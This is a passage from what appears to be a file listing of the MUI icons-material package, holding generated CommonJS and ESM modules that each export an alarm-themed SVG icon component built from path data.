    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.337 1.81 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AlarmAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.337 1.81 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AlarmAddSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m4 8h-3v3h-2v-3H8v-2h3V9h2v3h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.337 1.81 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'AlarmAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m4 8h-3v3h-2v-3H8v-2h3V9h2v3h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.337 1.81 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}, \"1\")], 'AlarmAddTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c3.87 0 7 3.13 7 7 0 .84-.16 1.65-.43 2.4l1.52 1.52c.58-1.19.91-2.51.91-3.92 0-4.97-4.03-9-9-9-1.41 0-2.73.33-3.92.91L9.6 6.43C10.35 6.16 11.16 6 12 6m10-.28-4.6-3.86-1.29 1.53 4.6 3.86zM2.92 2.29 1.65 3.57 2.98 4.9l-1.11.93 1.42 1.42 1.11-.94.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.02 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.2 2.2 1.27-1.27L3.89 3.27zm13.55 16.1C15.26 19.39 13.7 20 12 20c-3.87 0-7-3.13-7-7 0-1.7.61-3.26 1.61-4.47zM8.02 3.28 6.6 1.86l-.86.71 1.42 1.42z\"\n}), 'AlarmOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c3.87 0 7 3.13 7 7 0 .84-.16 1.65-.43 2.4l1.52 1.52c.58-1.19.91-2.51.91-3.92 0-4.97-4.03-9-9-9-1.41 0-2.73.33-3.92.91L9.6 6.43C10.35 6.16 11.16 6 12 6m10-.28-4.6-3.86-1.29 1.53 4.6 3.86zM2.92 2.29 1.65 3.57 2.98 4.9l-1.11.93 1.42 1.42 1.11-.94.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.02 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.2 2.2 1.27-1.27L3.89 3.27zm13.55 16.1C15.26 19.39 13.7 20 12 20c-3.87 0-7-3.13-7-7 0-1.7.61-3.26 1.61-4.47zM8.02 3.28 6.6 1.86l-.86.71 1.42 1.42z\"\n}), 'AlarmOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm7.297-4.48 4.607 3.845-1.28 1.535-4.61-3.843zM3.02 2.1 1.61 3.51l1.37 1.37-.92.77 1.28 1.54 1.06-.88.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.1 2.1 1.41-1.41zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20M7.48 3.73l.46-.38-1.28-1.54-.6.5z\"\n}), 'AlarmOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm7.297-4.48 4.607 3.845-1.28 1.535-4.61-3.843zM3.02 2.1 1.61 3.51l1.37 1.37-.92.77 1.28 1.54 1.06-.88.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.1 2.1 1.41-1.41zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20M7.48 3.73l.46-.38-1.28-1.54-.6.5z\"\n}), 'AlarmOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm-6.33-3.5c-.38-.38-1-.38-1.39 0l-.02.03c-.39.39-.39 1.01 0 1.39l.68.68-.17.14c-.42.34-.47.96-.13 1.38l.03.03c.35.42.96.47 1.38.12l.31-.25.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l1.41 1.41c.38.38 1 .38 1.39 0l.03-.03c.38-.38.38-1 0-1.39zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20m7.91-13.44c.42.35 1.03.29 1.38-.12l.03-.03c.35-.42.29-1.03-.12-1.38l-3.1-2.59c-.42-.35-1.03-.29-1.38.12l-.03.03c-.35.42-.29 1.03.12 1.38zM7.43 3.68c.18-.34.15-.77-.11-1.09l-.03-.03c-.3-.36-.8-.43-1.2-.22z\"\n}), 'AlarmOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm-6.33-3.5c-.38-.38-1-.38-1.39 0l-.02.03c-.39.39-.39 1.01 0 1.39l.68.68-.17.14c-.42.34-.47.96-.13 1.38l.03.03c.35.42.96.47 1.38.12l.31-.25.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l1.41 1.41c.38.38 1 .38 1.39 0l.03-.03c.38-.38.38-1 0-1.39zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20m7.91-13.44c.42.35 1.03.29 1.38-.12l.03-.03c.35-.42.29-1.03-.12-1.38l-3.1-2.59c-.42-.35-1.03-.29-1.38.12l-.03.03c-.35.42-.29 1.03.12 1.38zM7.43 3.68c.18-.34.15-.77-.11-1.09l-.03-.03c-.3-.36-.8-.43-1.2-.22z\"\n}), 'AlarmOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm7.297-4.48 4.607 3.845-1.28 1.535-4.61-3.843zM3.02 2.1 1.61 3.51l1.37 1.37-.92.77 1.28 1.54 1.06-.88.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.1 2.1 1.41-1.41zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20M7.48 3.73l.46-.38-1.28-1.54-.6.5z\"\n}), 'AlarmOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm7.297-4.48 4.607 3.845-1.28 1.535-4.61-3.843zM3.02 2.1 1.61 3.51l1.37 1.37-.92.77 1.28 1.54 1.06-.88.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.1 2.1 1.41-1.41zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20M7.48 3.73l.46-.38-1.28-1.54-.6.5z\"\n}), 'AlarmOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm7.297-4.48 4.607 3.845-1.28 1.535-4.61-3.843zm1.903 16.51-1.43-1.43-9.7-9.7-1.43-1.43-.74-.74L4.52 3.6l-1.5-1.5-1.41 1.41 1.37 1.37-.92.77 1.28 1.54 1.06-.88.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.1 2.1 1.41-1.41zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20M7.48 3.73l.46-.38-1.28-1.54-.6.5z\"\n}), 'AlarmOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.04 6.29C10.66 6.11 11.32 6 12 6c3.86 0 7 3.14 7 7 0 .68-.11 1.34-.29 1.96l1.56 1.56c.47-1.08.73-2.27.73-3.52 0-4.97-4.03-9-9-9-1.25 0-2.44.26-3.53.72zm7.297-4.48 4.607 3.845-1.28 1.535-4.61-3.843zm1.903 16.51-1.43-1.43-9.7-9.7-1.43-1.43-.74-.74L4.52 3.6l-1.5-1.5-1.41 1.41 1.37 1.37-.92.77 1.28 1.54 1.06-.88.8.8C3.83 8.69 3 10.75 3 13c0 4.97 4.03 9 9 9 2.25 0 4.31-.83 5.89-2.2l2.1 2.1 1.41-1.41zM12 20c-3.86 0-7-3.14-7-7 0-1.7.61-3.26 1.62-4.47l9.85 9.85C15.26 19.39 13.7 20 12 20M7.48 3.73l.46-.38-1.28-1.54-.6.5z\"\n}), 'AlarmOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-1.46-5.47L8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06z\"\n}), 'AlarmOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m-1.46-5.47L8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06z\"\n}), 'AlarmOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.54 14.53 8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06zm6.797-12.72 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.54 14.53 8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06zm6.797-12.72 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.94 10.11-4.4 4.42-1.6-1.6c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06L10 16.11c.29.29.77.29 1.06 0L16 11.17c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0m6.24-5.1L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.94 10.11-4.4 4.42-1.6-1.6c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06L10 16.11c.29.29.77.29 1.06 0L16 11.17c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0m6.24-5.1L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.54 14.53 8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06zm6.797-12.72 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.54 14.53 8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06zm6.797-12.72 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m-1.47 10.64-3.18-3.18 1.06-1.06 2.13 2.13 4.93-4.95 1.06 1.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.54 14.53 8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06zm6.797-12.72 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\")], 'AlarmOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.86 0-7 3.14-7 7s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7m-1.47 10.64-3.18-3.18 1.06-1.06 2.13 2.13 4.93-4.95 1.06 1.06z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.54 14.53 8.41 12.4l-1.06 1.06 3.18 3.18 6-6-1.06-1.06zm6.797-12.72 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}, \"1\")], 'AlarmOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zm4.837-6.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zm4.837-6.19 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AlarmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmRounded.js",
